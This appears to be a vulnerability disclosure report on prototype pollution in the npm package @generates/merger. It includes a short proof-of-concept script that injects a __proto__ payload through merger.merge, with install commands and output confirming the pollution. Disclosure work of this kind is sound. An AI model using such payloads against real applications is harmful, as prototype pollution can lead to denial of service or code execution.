Prototype Pollution in generates/generates


Reported on

Oct 28th 2020


@generates/merger is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var merger = require("@generates/merger")
const payload = JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
var obj = {}
console.log("Before : " + {}.polluted);
merger.merge(obj, payload);
console.log("After : " + {}.polluted);
  1. Execute the following commands in another terminal:
npm i @generates/merger # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted
to join this conversation